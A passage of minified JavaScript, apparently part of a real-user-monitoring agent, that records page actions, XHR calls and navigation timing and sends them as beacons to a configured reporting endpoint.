G=0,ea=ge;G<ea.length;G++)ea[G].Db();Yb();d(this.status,this.responseText)}else d(this.status,this.responseText)}catch(ya){d(0)}if(a)try{a.ef(this.readyState, this.status,l,r)}catch(ya){}}}function ld(){return function(){try{this.abort()}catch(a){}}}function fd(a,b){void 0===b&&(b=!0);for(var d=a.path,f=a.Ka,l=a.Fa,r=a.async,G=a.beacon,ea=a.Ge,ya=3,ob=!1;0<ya;)try{var zb=void 0,pb=hc("cors");if(pb){var Tb=Gj();var Hc="withCredentials"in Tb?Tb:mb.XDomainRequest?new mb.XDomainRequest:null}else Hc=Gj();zb=Hc;if(!zb)return!1;"onreadystatechange"in zb?zb.open("POST",d,r):zb.open("POST",d);"setRequestHeader"in zb&&(zb.setRequestHeader("Content-Type",ea?"application/octet-stream": "text/plain;charset=UTF-8"),l&&l!==O()&&!pb&&zb.setRequestHeader("x-dtreferer",Ga(l,Tc("mhl"))));G&&fc(a,G,zb,b);zb.send(f);ya=0;ob=!0}catch(zc){ya--}return ob}function hd(a){return La({path:"",Fa:"",Ka:"",vc:0,wc:1,async:!1},a)}function od(a,b){var d=!1;a.xc&&(d=!we(a.path,a.Ka));if(!a.xc||d)a=fd(a,!0),b=b&&a;return b}function we(a,b){try{var d=navigator.sendBeacon(a,b||"")}catch(f){d="Error sending signal via sendBeacon: "+f+": "+a}d||++qm;return d}function ce(a,b){void 0===b&&(b=!1);var d=["i".concat(a.id), "k".concat(a.kind),"h".concat(Number(a.hydrated))];b&&d.push("t".concat(Number(a.trigger)));return d.join(";")}function Xd(a){if(a)for(var b=mh("LABEL"),d=ph(b),f=0;f<d;f++){var l=b[f];if(l&&"LABEL"===l.nodeName&&l.htmlFor===a)return Hd(l.innerText,l.textContent)}return""}function Hd(){for(var a=[],b=0;b<arguments.length;b++)a[b]=arguments[b];for(b=0;b<a.length;b++){var d=a[b];if("string"===typeof d&&(d=gc(d)))return d}return""}function xf(a){if(a){if(0===yc(a,"data:"))return"";a=a.split("/");if(0< a.length)return a[a.length-1].split(".")[0]}return""}function Of(a){if(a&&a.split){var b=a.split("/");if(0<b.length&&(b=gc(b[b.length-1]),null!==b))return b}return a||""}function Dg(a){return Pa(a)?a.innerText||a.textContent:a.textContent}function jh(a,b){var d=b.nodeName?b.nodeName.toUpperCase():"unknown",f=za(b)?b.getAttribute("type"):"";f="string"===typeof f?f.toUpperCase():"";var l="";switch(a){case 0:za(b)?(d="",ab(b)&&"HIDDEN"!==f&&(d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f&&"IMAGE"!==f? null:b.value,a=Xd(b.id),d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f?Hd(a,d):Hd(d,a)),d||(d=Hd(Dg(b))),l=d):l="";break;case 1:d="";if(ab(b)&&"HIDDEN"!==f||b&&"BUTTON"===b.nodeName)f="IMAGE"===f?b.getAttribute("alt"):null,d=Hd(b.name,b.title,f);l=d;break;case 3:za(b)?(b=b.className,l=db(b,["baseVal","animVal"])?b.baseVal||b.animVal||"":b):l="";break;case 4:b="";"INPUT"===d&&"HIDDEN"!==f?b="INPUT: "+f:"A"===d?b="LINK":"-"===si&&(si=b=d);l=b;break;case 2:d="",ab(b)&&"IMAGE"===f?d=xf(b.src):b&&"A"=== b.nodeName?d=Hd(b.title,Of(b.href)):b&&"IMG"===b.nodeName?d=Hd(b.name,b.title,b.alt,xf(b.src)):b&&"FORM"===b.nodeName&&(d=Hd(b.name,b.id,b.action)),d||(d=Hd(b.title,b.data,b.wholeText,b.id)),l=d}return l}function pf(a){if(!a)return"";try{if(p.ie&&Vb(a))return"VML Node";var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return si;for(b=0;4>=b;b++){var d=jh(b,a);if(d&&d!==si)return d}return pf(a.parentNode)}catch(f){}return""}function Vf(a,b){if(!b)return""; var d=ph(b);if(0>=d||20<xl)return"";for(var f=0;f<d;f++){var l=b[f];if(p.ie&&Vb(l))return"VML Node";var r;xl++;if(r=Vf(a,l.childNodes))return r;xl--;if(r=jh(a,l))return r}return""}function Bb(a){try{var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return"Page: "+rm;if(a&&"SELECT"===a.nodeName){var d=a.nodeName?a.nodeName.toUpperCase():null,f=Xd(a.id),l=Hd(f,a.name,d),r=null;if(!a.multiple){var G=a.options&&-1<a.selectedIndex?a.options[a.selectedIndex]: null;G&&(r=Hd(G.label,G.innerText,G.textContent))}return r?"["+l+"] to value ["+r+"]":l}if(a&&"TEXTAREA"===a.nodeName){var ea=a.nodeName?a.nodeName.toUpperCase():null,ya=Xd(a.id);return Hd(ya,a.name,ea)||a.nodeName}var ob=Hd(Dg(a));if(ob)return ob;xl=0;if(a.childNodes&&0<ph(a.childNodes)){a:{for(l=0;4>=l;l++){var zb=Vf(l,[a]);if(zb){r=zb;break a}}r=""}return r}}catch(pb){}return pf(a)}function tg(){Rm=Xc("uana").split(",");pn=Tc("uanpi")||0}function J(){return Hf}function B(a){3===a&&(Xg=[]);Hf=a} function K(){return ae}function Fa(a){var b=ad(lj,function(d){return d.timestamp<=a});return b[b.length-1]||null}function Ya(a){Ue(a,0)?Xg.push.apply(Xg,a):Xg.push(a)}function tb(a){var b=zf;try{for(;b;){var d;if(d=a.target&&"string"!==typeof a.target&&a.target!==b.target&&"string"!==typeof b.target)a:{try{for(var f=a.target.parentNode;f;){if(f===b.target){d=!0;break a}f=f.parentNode}}catch(l){}d=!1}d&&(a=b);b=b.next}}catch(l){}zf=a}function Sb(a){var b,d=a.Cg,f=a.url,l=a.title,r=a.view;return b= {id:a.id,target:a.target,name:"",type:a.type,next:void 0,ob:void 0,info:a.kf||"-",start:kc(),Sb:!1,Sd:kc()+(d||30),url:f||O(),title:l||U(),aa:""},b.view=r,b.Ob=function(){if(!this.name){if(hc("uam"))var G={aa:"dTMasked_"+(Pa(this.target)?this.target.nodeName:"")};else{var ea=this.target||"";si="-";if(p.ie&&Vb(ea))G={aa:"VML Node"};else if("string"===typeof ea)G={aa:ea};else if(za(ea)){G=Bb(ea)||si;a:{try{for(var ya=0;ya<=pn;ya++){for(var ob=0,zb=Rm;ob<zb.length;ob++){var pb=ea.getAttribute(zb[ob]); if(pb){var Tb=pb;break a}}if(ea.parentElement)ea=ea.parentElement;else break}}catch(Hc){}Tb=""}G={aa:G,Lb:Tb}}else G={aa:si}}G.aa=Wa(Cb(G.aa));G.Lb=Wa(Cb(G.Lb));this.name=G.Lb||G.aa;G.Lb&&(this.aa=G.aa)}return this.name},b.oi=function(){return this.Sb},b.vg=function(){var G=this;do G.Sb=!0,G=G.next;while(G)},b}function Ub(a,b,d,f,l,r,G){void 0===G&&(G=ae);if(Yc(dg))return dg.bi(a,b,d,f,l,r,G);var ea=Sb({id:sm++,target:a,type:b,kf:d,Cg:f,url:l,title:r,view:G});try{return ik&&(ea.next=zf,ea.next&&(ea.next.ob= ea),tb(ea)),ea}finally{Zc(function(){dd(ea)},ea.Sd-kc())}}function Pb(){return Yc(dg)?dg.gci():zf}function cc(){return Yc(dg)?dg.gpi():Rh}function lc(a,b){if(Yc(dg))return dg.cii(a,b);b=b?cc():Pb();if(!b)return eo[a];switch(a){case "name":return b.Ob();case "type":return b.type;case "validUntil":return b.Sd;case "start":return b.start;case "target":return b.target;case "url":return b.url;case "title":return b.title;default:return null}}function $c(a){return lc(a,!0)}function Vd(a,b){return{timeout:a, url:lc("url",b),name:lc("name",b),startTime:lc("start",b),type:lc("type",b)||"-",title:lc("title",b)}}function yd(){for(var a=zf;a;)a.target=void 0,a=a.next;zf=void 0}function dd(a){if(Yc(dg))dg.ei(a);else if(zf){for(var b=zf;b.next&&b!==a;)b=b.next;b===a&&(lc("name")&&(Rh=zf),b.target=void 0,b.ob&&(b.ob.next=b.next),b.next&&(b.next.ob=b.ob),b===zf&&(zf=b.next))}}function ie(a){void 0===a&&(a="");return a?-1!==mf(Xc("doNotDetect")?Xc("doNotDetect").split(","):[],a):!1}function Kd(a,b,d){if(!ie(d)){var f= b?b:a;yl[a]=function(l){var r,G;pc((r={},r.kind="GLOBAL_EVENT_FIRED",r.detail=(G={},G.t=a,G.e=l,G),r));r=hc("ote");G=hc("ase");var ea="boolean"!==typeof l.isTrusted||l.isTrusted,ya=l.isRuxitSynthetic;if(G?ya:!r||ea){(r=l.target||l.currentTarget||l.srcElement||null)&&r.shadowRoot&&l.composed&&l.bubbles&&"function"===typeof l.composedPath&&(G=l.composedPath())&&G.length&&(r=G[0]);a:{G=r;if(("KD"===f||"KU"===f)&&ab(G)&&"password"!==G.type)if(l=l.keyCode||l.charCode||l.code,G=Number(l),hc("uam")&&!isNaN(G)){if(G= String.fromCharCode(G),!("a"<=G&&"z">=G||"A"<=G&&"Z">=G||"0"<=G&&"9">=G)){l=String(l);break a}}else{l=String(l);break a}l=""}Ub(r,f+l,void 0,30)}};If(document,a,yl[a])}}function Ne(a){(ik=a)||yd()}function Yc(a){return!!a&&a!==C()}function Ce(a){qn=a}function ig(a,b){var d;if(b<=qn)return!1;b=null===(d=Nd)||void 0===d?void 0:d.tb();d=!!b&&a===b.name;b=Aj;if(!b)return!d;a=a===b.name&&(!b.J||3E3>=kc()-b.start);return!d&&!a}function xc(a,b){if(!hc("dsa")||0!==yc(a,"false")){var d=hc("dssv"),f=hc("dsss"), l=f&&!d,r=d&&!f,G=!d&&!f,ea=b?a+"|"+b:a;f&&d&&vb("dtSa",ea);l&&(vb("dtSa",a),lf("dtSa",Hg(b||"-"),void 0,hc("ssc")));r&&(vb("dtSa",b||"-"),lf("dtSa",Hg(a),void 0,hc("ssc")));G&&lf("dtSa",Hg(ea),void 0,hc("ssc"))}}function Ld(){var a=Le[0];if(a){a.stop=0;var b=a;for(var d=0;d<a.subActions.length;d++)b=a.subActions[d],b.stop=0}return b}function Oe(a,b,d,f,l,r){void 0===a&&(a=kc());var G=ne(!0),ea=Nd||Ld(),ya=[];if(!G&&b&&d&&a)ya=[String(!l),I(d),l||"-1",I(b),I(f||"-"),a,bg(),$a(bd()),"","",I(location.hash.substring(1)), I(r||"")];else if(ea){ea.hb();var ob=ea.status;ea.status=2;Zc(function(){ea.status=ob},0);ya=["false",I(ea.type),ea.id,I(ea.name),I(ea.info||"-"),ea.start,bg(),$a(bd()),"","",I(location.hash.substring(1)),I(ea.aa||"")]}return ya}function cd(a,b,d){void 0===b&&(b=null);var f=!1,l=ic();try{f=l.iSAC()}catch(G){}if(!f||l===C()){a&&(xc("-"),Ok=[]);f=Pb();if(!f){var r=cc();r&&ig($c("name"),$c("start"))&&3E3>=kc()-$c("validUntil")&&(f=r)}r=[];f&&!f.Sb?(f.vg(),r=Oe(f.start,f.Ob(),f.type,f.info,f.G,f.aa)): b?r=Oe(b.start,b.name,b.type,b.info,b.id,b.aa):a&&(r=Oe(d));a=r;d=Ok;1<d.length&&1<a.length&&d[3]===a[3]&&(d[2]=a[2],d[0]=a[0],a=d);a.length&&(d=ae,b=d.timestamp,f=d.group,d=[$a(d.name),b,$a(f||""),I(ce(d,!0))],xc(a.join("|"),d.join("|")),Ok=a.concat(d),(l=l.sSAC)&&l(!0,!0))}}function je(a,b){return tm("mcepsl")?Ca(b):Ca(b,Tc("mcepsl"))}function Wd(a,b,d){var f;void 0===d&&(d=!1);if("tvn"===a||"svn"===a||"tvg"===a||"svg"===a)return b;var l=Tc("mcepsl");return b&&b.length>l?(d&&(null===(f=mb.console)|| void 0===f?void 0:f.log("Truncating agent event because the size for property [".concat(a,"] exceeds size limit of ").concat(l," characters: [").concat(b.length,"]"))),Ga(b,l,"lcpSel"===a)):b}function jg(a,b){for(var d=Tc("mcepsl"),f=[],l=0;l<b.length;l++){var r=b[l],G=r[0],ea=r[1];r=G;if(0!==Hf){var ya=ae,ob=ya.name,zb=ya.group;ya=ya.timestamp;ea=ob&&ea===ob&&"tvn"===r||zb&&ea===zb&&("tvg"===r||"svg"===r)||ya&&ea===String(ya)&&"tvt"===r?"":ea}r=Wd;ob=fo[a];"function"===typeof ob&&(r=ob);"object"=== typeof ob&&ob[G]&&(r=ob[G]);ob=Ga(G,d);(G=r(G,ea))&&ob&&f.push([ob,G])}return f}function Fe(a,b){void 0===b&&(b=1);var d=[String(b),String(a.id),"_event_",String(a.timestamp),String(a.kind)];a=jg(a.kind,a.eb);Ac(a,function(f){var l=f[1];Ob(d,I(f[0]));Ob(d,I(l))});return d.join("|")}function Ge(a,b,d){for(var f,l,r="",G="",ea=0;ea<a.length;ea++){var ya=a[ea];ya.Uc();var ob=ya.Mb();ya.Qb(d);r||(r=ya.La());G=ya.La();if("_load_"===ya.type&&(de=!0,f=Sh)){G=[f.id,f.name,f.type,f.info,f.frameId,f.startTime]; f.isDelayed?(l="",f.anchor&&(l="#"+f.anchor),G.unshift("d"),Ob(G,f.qa+l,"")):G.unshift("s");Ob(G,f.aa||"");if(f.na){l=f.na;var zb=l.timestamp,pb=l.group;Ob(G,l.name);Ob(G,zb);pb&&Ob(G,pb)}f=f.qa;l=G.join("|");G=f;Ob(b,l);Sh=void 0}ya.parentFrameActionName&&(f=Ob,l=ya.pd,ya=[0,ya.Kd,I(ya.parentFrameActionName),l].join("|"),f(b,ya));Ob(b,ob)}return{Fa:r,qa:G}}function Ee(a,b){var d,f,l=ad(Le,function(ya){return(ya.Tc()||a||b)&&!ya.$e()}),r=ge;if(b){r=[];ge=[];for(var G=0;G<l.length;G++){var ea=l[G]; pc((d={},d.kind=3===ea.status?"ACTION_BEACON_FORCED":"ACTION_CLOSED",d.detail=(f={},f.a=ea.start,f.s=ea.stop,f.r=ea.ta(),f.i=ea.id,f.f=!0,f.t=ea.type,f.x=ea.xhrUrl,f.rt=void 0,f),d))}Ze.oa=[];Ab(Nd&&null!==Nd?Nd.tb():null);Nd=null}return{rg:l,Af:r}}function mi(a,b){void 0===a&&(a=!1);void 0===b&&(b=!1);var d=[],f=Ee(b,a);b=f.Af;f=Ge(f.rg,d,a);a=f.Fa;f=f.qa;Ac(um,function(l){Ob(d,Fe(l))});Le=na([],b,!0);um=[];return{pc:d.join(","),referer:a,sourceUrl:f}}function kg(a,b,d,f){for(var l=0,r=zl().slice();l< r.length;l++){var G=r[l];try{G(a,b,d,f)}catch(ea){}}}function tf(){return vg}function Wf(a,b,d,f,l,r,G){mj=!1;a=l||vg.qd(a,b,d);if(a.beacon){d=!!d;f=!!f;b=G;var ea;void 0===r&&(r=!1);void 0===b&&(b=(ea={},ea.contentType="",ea));if(Db()||!a.beacon)a=0;else{ea=a.referrer||O();Jd(b,"rf",Kc(encodeURIComponent(ea||""),Tc("mhl"))[0]);hc("owasp")&&(G=encodeURIComponent(ea||""),vg.av(a.beacon,"rf",G));G=kc();vg.av(a.beacon,"time",G);G=r;l=p;var ya=13>=l.sf,ob=!0;G=d&&rn&&!hc("dsndb")&&!ya&&!G||hc("svNB"); !G&&(f||d&&(l.sf||l.msf||hc("lab")||(l.ie||l.edge)&&kb))&&(ob=!1);d=ob;f=b;b=a.beacon;l=document.cookie;ya=pd(l);var zb=hk("dtLatC",l);ob=Xc("cuc");Jd(f,"sn",encodeURIComponent(ya));Jd(f,"latency",encodeURIComponent(zb));Jd(f,"flavor",hc("cors")?"cors":"post");if(void 0===f.crc){ya=b.gd?b.Rb:b.Yc();if("string"===typeof ya)b:{try{if(Th.TextEncoder){var pb=(new Th.TextEncoder).encode(ya);break b}}catch(Hc){}pb=[];for(zb=0;zb<ya.length;zb++){var Tb=ya.charCodeAt(zb);128>Tb?pb.push(Tb):2048>Tb?(pb.push(Tb>> 6|192),pb.push(Tb&63|128)):55296===(Tb&64512)&&zb+1<ya.length&&56320===(ya.charCodeAt(zb+1)&64512)?(Tb=65536+((Tb&1023)<<10)+(ya.charCodeAt(++zb)&1023),pb.push(Tb>>18|240),pb.push(Tb>>12&63|128),pb.push(Tb>>6&63|128),pb.push(Tb&63|128)):(pb.push(Tb>>12|224),pb.push(Tb>>6&63|128),pb.push(Tb&63|128))}}else pb=ya;ya=-1;for(zb=0;zb<pb.length;)ya=ya>>>8^sn[(ya^pb[zb++])&255];pb=(ya^-1)>>>0;-1!==pb&&(f.crc=pb)}Jd(f,"vi",encodeURIComponent(b.zb("vi")||qi()));Jd(f,"bp",3);Jd(f,"v",tn);Jd(f,"app",encodeURIComponent(Xc("app"))); Jd(f,"type","js3");Jd(f,"dtAdk",encodeURIComponent(Na("dtAdk",l)));Jd(f,"contentType","");Jd(f,"modifiedSince",Tc("lastModification"));Jd(f,"svrid",Li());ob&&(f.en=ob);f.contentType&&"srRs"===f.contentType&&Jd(f,"msl",Tc("msl"));f.end=1;b=hc("cors");pb=["type","sn","svrid","flavor","vi"];Ob(pb,"contentType","modifiedSince");hc("owasp")||Ob(pb,"rf");b&&Ob(pb,"dtAdk");Ob(pb,"bp");Xc("app")&&Ob(pb,"app");f.contentType&&Ob(pb,"v");-1!==f.crc&&Ob(pb,"crc");Xc("cuc")&&Ob(pb,"en");"srRs"===f.contentType&& Ob(pb,"msl");Ob(pb,"end");b=Xc("reportUrl");l=[];for(ob=0;ob<pb.length;ob++)ya=pb[ob],f[ya]&&Ob(l,ya+"="+f[ya]);(pb=l.join("&"))&&(b+="?"+pb);pb=lg(a.beacon);f=!0;for(l=0;l<pb.length;l++)f=!!ja(od,hd({xc:G,path:b,async:d,Fa:ea,beacon:a.beacon,Ka:pb[l],vc:l,wc:pb.length,Ge:r}),f);a=0;pb.length&&(a=f?2:1)}}else a=0;return a}function me(a,b,d,f,l,r,G){var ea=Id(Na("dtAdkSettings")).Vc;Ig=ea;if(1===ea)return 0;if(2===ea){if(d)return 0;Zc(function(){me(a,b,d,f,l,r,G)},5E3)}else return Wf(a,b,d,f,l,r,G); return 0}function Jd(a,b,d){void 0===a[b]&&(a[b]=d)}function lg(a){if(a.Rb)return[a.Rb];a=a.Yc();var b=Z(C())?145E3:Tc("msl")-40;b=0===a.length%b?Math.floor(a.length/b):Math.floor(a.length/b)+1;if(!(1<b))return[a];if(1>b||20<b)return[];b=Z(C())?145E3:Tc("msl")-40;var d="sid="+kc()+"&p#index#_#total#=";return Kc(a,b,d)}function Bg(a){Vc(a)}function Vc(a){if(mj){var b=!1;"number"===typeof a?kc()+a<Al&&(b=!0):b=!0;b&&(ti(Sm),mj=!1)}mj||(Al=kc()+(a||0),"number"===typeof a?(Sm=Zc(me,a),mj=!0):me())}function Cf(a, b,d){return me(b,d,!1,a)}function nf(a){Ob(zl(),function(b,d,f,l){a(l,d,f,l.Kb)})}function ih(){var a=qm;return 0===a?null:{severity:"Error",type:"be",text:"Beacon sending failed for ".concat(a," attempt").concat(1<a?"s":"","! Look in the browser DevTools for more information.")}}function Rg(){tn=$d(gb());vg=new go;Tm=0;Ud&&Ud(function(a,b,d){d&&(10>Gc.length?Gc.push(d):(a=Gc[10])?Gc[10]=String(Number(a)+1):Gc.push("1"))});Ig=Id(Na("dtAdkSettings")).Vc;rb("DEBUG_INFO_REQUESTED",ih)}function Eg(){for(var a= !1,b=[],d=0,f=ge;d<f.length;d++){var l=f[d];l.kc&&0<l.kc&&(l.Va&&kc()>l.Va&&(l.Va+=6E4,Ob(b,l)),a=!0)}0<b.length&&me(!0,!0);for(d=0;d<b.length;d++)b[d].kc--;a&&Zc(Eg,1E3)}function of(a,b,d){var f=Nd;f!==a&&(f&&!d&&Ab(f),(Nd=a)?ja(Yl,a.id,b):ye())}function Tg(a){eg=null;if(Wg&&Wg.gca){var b=Wg.gca();if(eg=b[b.length-1])a.Kd=eg.id,a.parentFrameActionName=eg.name,eg.childFrameActions?eg.childFrameActions++:eg.childFrameActions=1}}function Xf(a,b,d){if(hc("ffi"))return!0;b=String(b);d=String(d);for(var f= !1,l=f,r=f,G,ea=0;ea<a.length&&(!f||!l);ea++)G=a[ea].split("."),f=G[0],G=G[1],f=f===b,l=G===d,!r&&f&&d>G&&(r=!0);return f&&l?!0:f&&l||r}function Sg(){var a=Id(Na("dtAdkSettings")).Vc;if(Ig!==a&&(Ig=a,0!==a)){a=0;for(var b=ge;a<b.length;a++)b[a].Db()}}function Cg(){var a=[];for(var b=Ze.oa.length-1;0<=b;b--)if(Ze.oa[b].Tc()){var d=eb(Ze.oa,b);a=a.concat(d)}b=!1;Sg();d=ge;for(var f=d.length-1;0<=f;f--){var l=d[f];if(l.Ie)eb(d,f);else{var r=0<=mf(a,l),G=eg;r?(eb(d,f),b=!0):G&&(r=Wg.gca(),l.pd=n&&r[r.length- 1]===G?"S":"A",eg=null)}}b&&Vc()}function ni(){"hidden"===document.visibilityState?(Fh="1",Yf()):Fh="0"}function Yf(){var a;pc((a={},a.kind="PAGE_BACKGROUND_INFORMATION",a.detail=Fh,a))}function Df(a){Bl++;(a=$b(a.detail.i))&&!a.na&&(a.na=ae)}function Mf(a){Bl--;if(a=$b(a.detail.i))a.Ag=Fa(a.stop)||ae;1>Bl&&(lj=[])}function Ef(a,b,d){var f=b[Um[a]];b=b.startTime;if(f)if(0<=yc("yK",a))d.push(a,f);else if("T"===a)"number"===typeof f&&0>f&&0===f%1&&d.push(a,f);else{var l=f>=b;"j"===a&&Ue(f,2)&&Math.abs(f- b)<Zl&&(l=!1);var r=f;0<=yc("uvwxACDEFNOPQRSTU",a)?l=0<=f:"number"===typeof f?r=Math.round(f-b):r=f;l&&d.push(a,r)}}function wd(a,b,d){if(b=b[$l[a]]){var f=0<=b;"j"===a&&0===b&&(f=!1);f&&d.push(a,Math.round(b))}}function Nf(a,b,d){(b=b[am[a]])&&d.push(a,b)}function Ye(a,b){a=a.serverTiming;for(var d={},f=0,l=Pn;f<l.length;f++){var r=l[f];d[r]=""}if(a){for(f=0;f<a.length;f++)l=a[f],l.description&&!isNaN(Number(l.description))&&(r=l.name,r in d&&!d[r]&&(d[r]=l.description));d.dtRequestID&&(b.push("C"), b.push(d.dtRequestID));d.dtRpid&&(b.push("M"),b.push(d.dtRpid));d.dtSInfo&&(b.push("V"),b.push(d.dtSInfo));d.dtTao&&(b.push("W"),b.push(d.dtTao))}}function Ff(a,b,d,f){var l=0;for(a=oc(a);l<a.length;l++)d(a[l],b,f)}function Ug(){if(!window.performance)return[];var a=null,b=-1,d=performance.timeOrigin;"getEntriesByType"in performance&&(a=performance.getEntriesByType("navigation")[0])&&a.type&&(b=Vm[a.type]);a&&"responseEnd"in a||(a=performance.timing);-1===b&&(b=performance.navigation.type);d||(d= performance.timing.navigationStart);return(!C().googleBot||Z(C()))&&0<d?(b=["a",b,"b",Math.round(d)],k(a,b,d),b):[]}function k(a,b,d){if(Xa&&db(a,12)||db(a,["navigationStart"])&&!("entryType"in a))for(var f in Pk){if(Ra(Pk,f)){var l=f,r=a[Pk[l]];if(r){var G=r>=d;"j"===f&&r===d&&(G=!1);G&&b.push(l,Math.round(r-d))}}}else if(d=C(),d=d.gSig?d.gFU():{},ua(a)){Ff(Um,a,Ef,b);f=Ob;r=f.apply;G=[];if(ua(a)){if("xmlhttprequest"===a.initiatorType||"fetch"===a.initiatorType){var ea="1";Yg[a.name]&&(ea="11",delete Yg[a.name]); G.push("z",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);ea="";"frame"===a.initiatorType?ea="f":"iframe"===a.initiatorType||"subdocument"===a.initiatorType?ea=isNaN(d[a.name])?"i":"i"+d[a.name]:0<=(a.frameId||-1)&&(ea="r"+a.frameId);ea&&G.push("B",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);r.call(f,void 0,na([b],G,!1));b.push("I",null!==(l=vm[a.initiatorType])&&void 0!==l?l:0);Ye(a,b)}else Ka(a)?(Ff($l,a,wd,b),Ye(a,b)):Ff(am,a,Nf,b)}function w(){hc("ntd")||Qe(function(a, b,d,f){b||bm||!de||(bm=!0,a.av(f,"nt",Ug().join("")||"0",!0))})}function M(){var a;pc((a={},a.kind="INSTRUMENTATION_TRIGGERED",a.detail=void 0,a))}function A(a){var b=ge;Tg(a);Ob(b,a);b=Nd;b!==a&&(Ab(b),Nd=a);Ob(Le,a);Zc(Eg,5E3)}function Ta(a){var b=a.start,d=a.xhrUrl,f=a.nc,l=a.qa,r=a.Za;r=void 0===r?!1:r;var G=a.isCustomAction;G=void 0===G?!1:G;var ea=a.Ma;ea=void 0===ea?!1:ea;var ya=a.Rd;ya=void 0===ya?-1:ya;var ob=a.aa;ob=void 0===ob?"":ob;var zb=a.na,pb=a.ac;a=new qh(b,a.stop||b,a.type,a.name, a.info||"",a.domNodes||-1,xb(void 0===l?"":l),U(),d||"",G,ea,r,f,ya,ob,zb,pb);Sg();a.$b()&&Ob(Ze.oa,a);Ze.actions[a.id]=a;ja(nj);return a}function xb(a){if(a){var b=document.createElement("a");b.href=a;if("file:"===b.protocol||"about:"===b.protocol||b.hostname)return b.href;var d=function(f,l,r,G){f.av(G,"rfi",1,!1);wm(d)};Qe(d)}return location.href}function ec(a){var b,d,f;a.start||(a.start=kc());var l=Ta(a);l.ra=Zc(function(){l&&(3!==l.status||l.Pb())&&uc(l.id)},1E3*Tc("oat"));var r=null;switch(ma(a.pa)){case 1:r= Nd;break;case 2:if(r=$b(a.pa),!r&&"_load_"===a.type)return l}pc((b={},b.kind="ACTION_ENTERED",b.detail=(d={},d.i=l.id,d.a=a.start,d.s=0,d.x=a.xhrUrl,d.r=r?r.ta():l.id,d.t=l.type,d.e=null===(f=Pb())||void 0===f?void 0:f.target,d.rt=void 0,d),b));"undefined"===typeof a.Rd&&of(l,!1,!!r);if(r)for(r=r.tb(),r.Sc(l),a=0,b=ge;a<b.length;a++)d=b[a],d.Va>l.start+1E4&&(d.Va=l.start+1E4);else A(l.Ue()),Hj();return l}function uc(a,b,d){var f,l;a=$b(a);var r=b,G=C();if(!r&&a&&"_load_"===a.name&&"_load_"===a.type&& G.gLVD){r=Z(G);var ea=aa(mb.performance,"loadEventEnd");if(ea){var ya=G.gVCP();r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," vc time is: ").concat(ya,", and loadEventEnd time is: ").concat(ea,"."));r=Math.max(ya,ea)+ef()}else r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," No load event end, taking current time for load action end!")),r=kc();Z(G)&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," Computed load action end time with arguments: ").concat(JSON.stringify({endTime:b, $h:r}),"."))}b="number"===typeof r&&(null===a||void 0===a?void 0:a.isCustomAction);G=r||kc();a&&(pc((f={},f.kind="ACTION_LEFT",f.detail=(l={},l.i=a.id,l.a=a.start,l.s=G,l.r=a.ta(),l),f)),a.Wb(G,d,b),Cg());of(ed(),!0)}function qc(a,b,d){var f=Nd;"undefined"!==typeof b&&null!==b&&(f=$b(b));if(f)return f.Sc(a,d),!1;Tg(a);Ob(Le,a);return!0}function ud(a,b,d,f,l,r,G,ea){"undefined"===typeof f?f=!0:null===f&&(f=!1);a={name:Wa(a),type:b,start:d,pa:f,info:l||"",xhrUrl:r||"",isCustomAction:!!G};ea&&(a.qa= ea);return ec(a).id}function We(a,b,d){M();uc(a,b,d)}function Ei(a){for(var b=Ze.oa.slice(),d=0;d<b.length;d++)uc(b[d].id,a);return b.length}function Ie(a){for(var b=0,d=vf;b<d.length;b++)if(d[b].G===a)return!0;return!1}function Gf(a){var b=Oi();return!!(b&&b.exec&&a&&(b.exec(a)||b.exec(R(a))))}function bf(a,b,d,f,l,r,G){void 0===b&&(b=3);void 0===d&&(d="");void 0===f&&(f=!1);void 0===l&&(l=void 0);void 0===r&&(r=!1);void 0===G&&(G=!1);if(d&&Gf(d))return 0;var ea=wa(d),ya=Pb(),ob=a||"-",zb=ne(!1); if(se){if(zb&&!$b(zb))return 0;kb=!0}ya&&(ya.info="-"===ya.info?ob:ya.info+", "+ob);!zb&&ya&&ya.G&&(zb=ya.G);d=R(d);Yg[d]=!0;a={name:a,type:"xhr",start:kc(),info:ob,xhrUrl:ea,isCustomAction:f,nc:l,ac:G};zb?(ya=0,r||(a.pa=zb,ya=Je(a))):ya?(zb=0,3<=b&&(zb=kf(La(La({},a),{name:ya.Ob(),type:ya.type,start:ya.start,info:ya.info,qa:ya.url,pa:!1,aa:ya.aa||"",na:ya.view})),ya.G=zb,ya.Sb&&cd(!0,$b(zb))),ya=zb):(ya=Nd)?(zb=0,1<=b&&!r&&(zb=Je(La(La({},a),{pa:ya.id}))),ya=zb):ya=hc("cux")?kf(La(La({},a),{name:"Unlinked XHR", type:"xhr",pa:!1})):0;return ya}function kf(a){a:{var b=a.info;var d=a.xhrUrl;if(a.nc&&vf.length)for(var f=vf.length-1;0<=f;f--){var l=vf[f],r=l.G,G=Bd(r);if(G&&b&&b[0]!==l.Hf&&rc(G.xhrUrl||"")===l.xhrUrl&&l.xhrUrl===rc(d||"")){b=r;break a}}b=0}if(b)return b;a.Ma=!0;return ec(a).id}function Je(a){var b=a.pa,d=null;"number"===typeof b&&(d=Bd(b));a.pa=d?d.id:!0;return kf(a)}function Ed(a,b,d,f,l){void 0===b&&(b="");void 0===f&&(f=kc());var r=Bd(a);!r||l&&0>yc(r.info,l)&&r.name!==l||(d?Zc(function(){Ib(b)}, 0):Ib(b),Zc(function(){if(!kb){var G=f;Bd(a)&&uc(a,G)}},cm),M())}function mg(a,b){if(a){var d=Bd(a);d&&(d.cc++,d.Xa||b&&4!==b||d.Ze(kc()),Ob(nh,a),Dj++)}}function kh(a){if(a){var b=Bd(a);b&&(b.Ye(kc()),b.cc--,Dj--,Zc(function(){ze(a)},0))}}function Fd(a,b,d){if("number"!==typeof a||isNaN(a)||0>a)return!1;0===a&&(a=971,b="XHR 